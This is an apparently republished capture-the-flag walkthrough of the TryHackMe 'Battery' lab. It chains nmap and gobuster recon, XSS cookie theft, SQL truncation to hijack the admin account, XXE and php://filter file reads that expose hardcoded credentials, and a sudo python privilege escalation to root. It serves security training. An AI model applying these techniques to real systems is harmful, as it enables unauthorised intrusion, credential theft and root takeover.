{"slug": "tryhackme-battery-walkthrough", "title": "TryHackMe | Battery | WALKTHROUGH", "summary": "This article is a walkthrough for the \"Battery\" lab on TryHackMe, a medium-difficulty challenge requiring the capture of three flags (flag1.txt, flag2.txt, root.txt). The author details using Nmap to discover open ports (SSH and HTTP), Gobuster to find hidden directories like an admin panel, and identifies vulnerabilities including SQL Truncation and XML External Entity Injection. The walkthrough also notes a 12-character input limit on the login form and a reflected XSS vulnerability in the Transfer Money feature.", "body_md": "**LAB:** Battery\n\n**DIFFICULTY:** Medium\n\n**TARGET:** flag1.txt, flag2.txt, root.txt\n\n**TOOLS:** Nmap, Gobuster, BurpSuite\n\n**VULNERABLE:** SQL Truncation Attack, XML External Entity Injection\n\nFirst, let's do some recon using NMAP:\n\n- -sC - Default script scan\n- -sV - Version detection\n- -O - OS detection\n\n```\nsudo nmap -sC -sV -O {LABS_IP_ADDRESS}\nStarting Nmap 7.98 ( https://nmap.org ) at 2026-05-22 22:13 +0800\nNmap scan report for {LABS_IP_ADDRESS}\nHost is up (0.28s latency).\nNot shown: 998 closed tcp ports (reset)\nPORT   STATE SERVICE VERSION\n22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)\n|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)\n|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)\n|_  256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)\n80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))\n|_http-title: Site doesn't have a title (text/html).\n|_http-server-header: Apache/2.4.7 (Ubuntu)\nNo exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).\nTCP/IP fingerprint:\nOS:SCAN(V=7.98%E=4%D=5/22%OT=22%CT=1%CU=34654%PV=Y%DS=3%DC=I%G=Y%TM=6A1064C\nOS:3%P=x86_64-apple-darwin23.6.0)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS\nOS:=8)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)SEQ(SP=105%GCD=1%ISR=10D\nOS:%TI=Z%CI=I%II=I%TS=8)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)SEQ(SP\nOS:=108%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O1=M4E8ST11NW6%O2=M4E8ST11NW6\nOS:%O3=M4E8NNT11NW6%O4=M4E8ST11NW6%O5=M4E8ST11NW6%O6=M4E8ST11)WIN(W1=68DF%W\nOS:2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M4E8NN\nOS:SNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y\nOS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR\nOS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40\nOS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G\nOS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)\n\nNetwork Distance: 3 hops\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\nOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 38.38 seconds\n```\n\nHere we got open ports: `ssh/22`\n\n& `http/80`\n\nNow, i'm going to check whats in port 80:\n\nHere we have a webpage but nothing interesting here. So we need to use Gobuster to find hidden directories.\n\n```\n===============================================================\nGobuster v3.8.2\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http://{LABS_IP_ADDRESS}/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                Documents/pentesting/SecLists-master/Discovery/Web-Content/common.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster/3.8.2\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n.htaccess            (Status: 403) [Size: 288]\n.hta                 (Status: 403) [Size: 283]\n.htpasswd            (Status: 403) [Size: 288]\n**admin.php            (Status: 200) [Size: 663]**\nindex.html           (Status: 200) [Size: 406]\n**report               (Status: 200) [Size: 16912]**\n**scripts              (Status: 301) [Size: 313] [--> http://{LABS_IP_ADDRESS}/scripts/]**\nserver-status        (Status: 403) [Size: 292]\nProgress: 4751 / 4751 (100.00%)\n===============================================================\nFinished\n===============================================================\n```\n\nWe got 3 directories to check. Let's start with `/admin.php`\n\n.\n\nI tried some fake credentials to make sure if it has **Information Disclosure**, **Rate Limiting**, or **SQL Injection**. But what I found instead is that the login page has **a 12-character input limit** on the username field. We will come back here but first let's register and check how admin panel looks like.\n\nI discovered reflected XSS in the **Account Number** parameter of the **Transfer Money** endpoint. The app fails to encode or validate my input before reflecting it in the HTTP response. This allowed me to execute `alert(document.cookie)`\n\nand view John's *(which we registered as)* session cookie.\n\nI also discovered that the app is vulnerable to **HTML injection**. By inserting HTML tags into the input field, I was able to alter the page's content and inject custom messages — including the 'HACKED!!!' notice shown in the transaction failure message.\n\nBefore diving deeper, let's check what we got in `/report`\n\n.\n\nWhen you visit `http://{LABS_IP_ADDRESS}/report`\n\nit gives you a file called `report`\n\n. It's an executable file. We can just hit `strings`\n\nor go with Ghidra. I always start with simple, so let's use `strings`\n\n:\n\n```\n/lib64/ld-linux-x86-64.so.2\n__isoc99_scanf\nputs\nprintf\nsystem\n__cxa_finalize\nstrcmp\n__libc_start_main\nlibc.so.6\nGLIBC_2.7\nGLIBC_2.2.5\n_ITM_deregisterTMCloneTable\n__gmon_start__\n_ITM_registerTMCloneTable\nu/UH\n[]A\\A]A^A_\nadmin@bank.a\nPassword Updated Successfully!\nSorry you can't update the password\nWelcome Guest\n===================Available Options==============\n1. Check users\n2. Add user\n3. Delete user\n4. change password\n5. Exit\nclear\n===============List of active users================\nsupport@bank.a\ncontact@bank.a\ncyber@bank.a\nadmins@bank.a\nsam@bank.a\nadmin0@bank.a\nsuper_user@bank.a\ncontrol_admin@bank.a\nit_admin@bank.a\nWelcome To ABC DEF Bank Managemet System!\nUserName : \nPassword : \nguest\nYour Choice : \nemail : \nnot available for guest account\nWrong option\nWrong username or password\n;*3$\"\nGCC: (Debian 9.3.0-15) 9.3.0\ncrtstuff.c\nderegister_tm_clones\n__do_global_dtors_aux\ncompleted.7452\n__do_global_dtors_aux_fini_array_entry\nframe_dummy\n__frame_dummy_init_array_entry\nreport.c\n__FRAME_END__\n__init_array_end\n_DYNAMIC\n__init_array_start\n__GNU_EH_FRAME_HDR\n_GLOBAL_OFFSET_TABLE_\n__libc_csu_fini\nupdate\n_ITM_deregisterTMCloneTable\nputs@@GLIBC_2.2.5\n_edata\noptions\nsystem@@GLIBC_2.2.5\nusers\nprintf@@GLIBC_2.2.5\n__libc_start_main@@GLIBC_2.2.5\n__data_start\nstrcmp@@GLIBC_2.2.5\n__gmon_start__\n__dso_handle\n_IO_stdin_used\n__libc_csu_init\n__bss_start\nmain\n__isoc99_scanf@@GLIBC_2.7\n__TMC_END__\n_ITM_registerTMCloneTable\n__cxa_finalize@@GLIBC_2.2.5\n.symtab\n.strtab\n.shstrtab\n.interp\n.note.gnu.build-id\n.note.ABI-tag\n.gnu.hash\n.dynsym\n.dynstr\n.gnu.version\n.gnu.version_r\n.rela.dyn\n.rela.plt\n.init\n.plt.got\n.text\n.fini\n.rodata\n.eh_frame_hdr\n.eh_frame\n.init_array\n.fini_array\n.dynamic\n.got.plt\n.data\n.bss\n.comment\n```\n\nWe have active users listed here.\n\n```\nsupport@bank.a\ncontact@bank.a\ncyber@bank.a\nadmins@bank.a\nsam@bank.a\nadmin0@bank.a\nsuper_user@bank.a\ncontrol_admin@bank.a\nit_admin@bank.a\n```\n\nBut first let's check how the system works using `Ghidra`\n\n.\n\nI found a hardcoded admin email (`admin@bank.a`\n\n) inside the `update()`\n\nfunction. The code compares whatever email I give it with that hardcoded value. If they match, I get to update the password. If not, I'm denied. This means anyone can extract this email from the binary (using Ghidra or `strings`\n\n) and then use it to gain admin access — no authentication needed. Now still we need password to login.\n\nRemember that we had some flaws. We found that there is **12-character limitation** in login form. We can use it to register as `admin@bank.a`\n\n. We're going take advantage of **SQL Truncation Flaw**.\n\n## IMPORTANT !\n\nFirst take time to understand the attack.\n\n### HOW SQL Truncation Flaw WORKS?\n\n- The database or application cuts off (truncates) your input after a certain length, and an attacker uses this to bypass security checks.\n\n### The Attack!\n\n- The attacker adds extra characters (like spaces) beyond the column limit so the application checks the full input (safe), but the database only stores the truncated portion which is dangerous, allowing the attacker to inject forbidden values like duplicate usernames or escalate privileges.\n\n### In our case:\n\n-\n`admin@bank.a______xxx`\n\ngets truncated to`admin@bank.a`\n\n, allowing us to reset the admin's password and login as admin.\n\nNow let's HACK ;)\n\nWe go to register page and enter following credentials:\n\n``` php\nusername: admin@bank.a_____xxx -> (spaces after admin as you wish)\npassword: YourPasswordHere\n```\n\nNow my favorite part.\n\nLet's use BurpSuite.\n\nYou can use Chromium in BurpSuite or FoxyProxy to capture the request. Go to **Proxy** tab in BurpSuite and Intercept the request to modify it.\n\nAfter forwarding the request, we logged in as admin.\n\nIf we go to **command** tab, there is another form. Let's check what happens in the background.If we go to **command** tab, there is another form. Let's check what happens in the background.\n\nThis is an XML request. Let's simply try **XXE (XML External Entity)**.\n\nAfter sending request. It shows us Linux system file that stores user account information.\n\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nlibuuid:x:100:101::/var/lib/libuuid:\nsyslog:x:101:104::/home/syslog:/bin/false\nmessagebus:x:102:106::/var/run/dbus:/bin/false\nlandscape:x:103:109::/var/lib/landscape:/bin/false\nsshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin\ncyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash\nmysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false\nyash:x:1002:1002:,,,:/home/yash:/bin/bash\n```\n\nLooking that we got usernames called `cyber`\n\nand `yash`\n\n. We can login SSH server using this credentials.\n\nBut first, I couldn't read `/acc.php`\n\ndirectly because the server executes PHP files instead of returning their source code. So I used `php://filter/convert.base64-encode/resource=`\n\nto read the file as Base64-encoded text, then decoded it to see the actual PHP code and look for passwords.\n\n```\nPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg==\n```\n\nNow lets decode it (you can use online decoders just browsing it).\n\n```\n<!DOCTYPE html>\n<html>\n<head>\n<style>\nform\n{\n  border: 2px solid black;\n  outline: #4CAF50 solid 3px;\n  margin: auto;\n  width:180px;\n  padding: 20px;\n  text-align: center;\n}\n\nul {\n  list-style-type: none;\n  margin: 0;\n  padding: 0;\n  overflow: hidden;\n  background-color: #333;\n}\n\nli {\n  float: left;\n  border-right:1px solid #bbb;\n}\n\nli:last-child {\n  border-right: none;\n}\n\nli a {\n  display: block;\n  color: white;\n  text-align: center;\n  padding: 14px 16px;\n  text-decoration: none;\n}\n\nli a:hover:not(.active) {\n  background-color: #111;\n}\n\n.active {\n  background-color: blue;\n}\n</style>\n</head>\n<body>\n\n<ul>\n  <li><a href=\"dashboard.php\">Dashboard</a></li>\n  <li><a href=\"with.php\">Withdraw Money</a></li>\n  <li><a href=\"depo.php\">Deposit Money</a></li>\n  <li><a href=\"tra.php\">Transfer Money</a></li>\n  <li><a href=\"acc.php\">My Account</a></li>\n  <li><a href=\"forms.php\">command</a></li>\n  <li><a href=\"logout.php\">Logout</a></li>\n  <li style=\"float:right\"><a href=\"contact.php\">Contact Us</a></li>\n</ul><br><br><br><br>\n\n</body>\n</html>\n\n<?php\n\nsession_start();\nif(isset($_SESSION['favcolor']) and $_SESSION['favcolor']===\"admin@bank.a\")\n{\n\necho \"<h3 style='text-align:center;'>Weclome to Account control panel</h3>\";\necho \"<form method='POST'>\";\necho \"<input type='text' placeholder='Account number' name='acno'>\";\necho \"<br><br><br>\";\necho \"<input type='text' placeholder='Message' name='msg'>\";\necho \"<input type='submit' value='Send' name='btn'>\";\necho \"</form>\";\n//MY CREDS :- cyber:super#secure&password!\nif(isset($_POST['btn']))\n{\n$ms=$_POST['msg'];\necho \"ms:\".$ms;\nif($ms===\"id\")\n{\nsystem($ms);\n}\nelse if($ms===\"whoami\")\n{\nsystem($ms);\n}\nelse\n{\necho \"<script>alert('RCE Detected!')</script>\";\nsession_destroy();\nunset($_SESSION['favcolor']);\nheader(\"Refresh: 0.1; url=index.html\");\n}\n}\n}\nelse\n{\necho \"<script>alert('Only Admins can access this page!')</script>\";\nsession_destroy();\nunset($_SESSION['favcolor']);\nheader(\"Refresh: 0.1; url=index.html\");\n}\n?>\n```\n\nHere we have: `//MY CREDS :- cyber:super#secure&password!`\n\nNow let's try to login using SSH.\n\nAfter logged in, we have `flag1.txt`\n\n. Now lets find others. We got also python file called `run.py`\n\n. But it requires admin privilege. So let's keep digging.\n\n```\ndrwx------ 3 cyber cyber 4096 Nov 17  2020 .\ndrwxr-xr-x 4 root  root  4096 Nov 16  2020 ..\n-rw------- 1 cyber cyber    0 Nov 17  2020 .bash_history\n-rw-r--r-- 1 cyber cyber  220 Nov  9  2020 .bash_logout\n-rw-r--r-- 1 cyber cyber 3637 Nov  9  2020 .bashrc\ndrwx------ 2 cyber cyber 4096 Nov  9  2020 .cache\n-rw--w---- 1 cyber cyber   85 Nov 15  2020 flag1.txt\n-rw-r--r-- 1 cyber cyber  675 Nov  9  2020 .profile\n-rwx------ 1 root  root   349 Nov 15  2020 run.py\n```\n\nWe don't have other interesting files but but `run.py`\n\n. Now let's run `sudo -l`\n\nand check what permissions does Cyber has.\n\n```\nMatching Defaults entries for cyber on ubuntu:\n    env_reset, mail_badpass,\n    secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\n\nUser cyber may run the following commands on ubuntu:\n    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py\n```\n\nLooking the output, if we can edit or change the `run.py`\n\nfile, we can run any python file as `root`\n\n.\n\n``` bash\ncyber@ubuntu:~$ ls -la /home/cyber/run.py\n-rwx------ 1 root root 349 Nov 15  2020 /home/cyber/run.py\n```\n\nThe owner of the file is `root`\n\n. But we can edit or run files with sudo rights. So, let's create new `run.py`\n\nand use it to get root access.\n\nFirst, you can run `mv run.py run.py.hack`\n\nand create new file and run.\n\n``` python\ncyber@ubuntu:~$ vim run.py\ncyber@ubuntu:~$ cat run.py\nimport os\nos.system(\"/bin/bash\")\ncyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py \nroot@ubuntu:~#\n```\n\nIf we go to `/home/yash`\n\nwe got `flag2.txt`\n\n. There is also `root.txt`\n\nin the same folder but it throws a message. Let's go to `/root`\n\nand finish the lab.\n\n```\nroot@ubuntu:/# cd root/\nroot@ubuntu:/root# ls\nroot.txt\nroot@ubuntu:/root# cat root.txt \n████████████████████████████████████  \n██                                ██  \n██  ████  ████  ████  ████  ████  ████\n██  ████  ████  ████  ████  ████  ████\n██  ████  ████  ████  ████  ████  ████\n██  ████  ████  ████  ████  ████  ████\n██  ████  ████  ████  ████  ████  ████\n██                                ██  \n████████████████████████████████████  \n\n                        battery designed by cyberbot :)\n                        Please give your reviews on catch_me75@protonmail.com or discord cyberbot#1859\n\nTHM{ROOT_FLAG}\n```\n\nHope you found it useful. If you have any other questions. I'm happy to help!!\n\n[https://www.linkedin.com/in/mikail-kakabayev](https://www.linkedin.com/in/mikail-kakabayev-5401183aa?utm_source=share_via&utm_content=profile&utm_medium=member_ios)\n\nHAPPY HACKING !!!", "url": "https://wpnews.pro/news/tryhackme-battery-walkthrough", "canonical_source": "https://dev.to/kaaayii/tryhackme-battery-walkthrough-4d4d", "published_at": "2026-05-23 14:24:59+00:00", "updated_at": "2026-05-23 15:03:45.660276+00:00", "lang": "en", "topics": ["cybersecurity"], "entities": ["TryHackMe", "Nmap", "Gobuster", "BurpSuite", "Apache", "OpenSSH", "Ubuntu"], "alternates": {"html": "https://wpnews.pro/news/tryhackme-battery-walkthrough", "markdown": "https://wpnews.pro/news/tryhackme-battery-walkthrough.md", "text": "https://wpnews.pro/news/tryhackme-battery-walkthrough.txt", "jsonld": "https://wpnews.pro/news/tryhackme-battery-walkthrough.jsonld"}}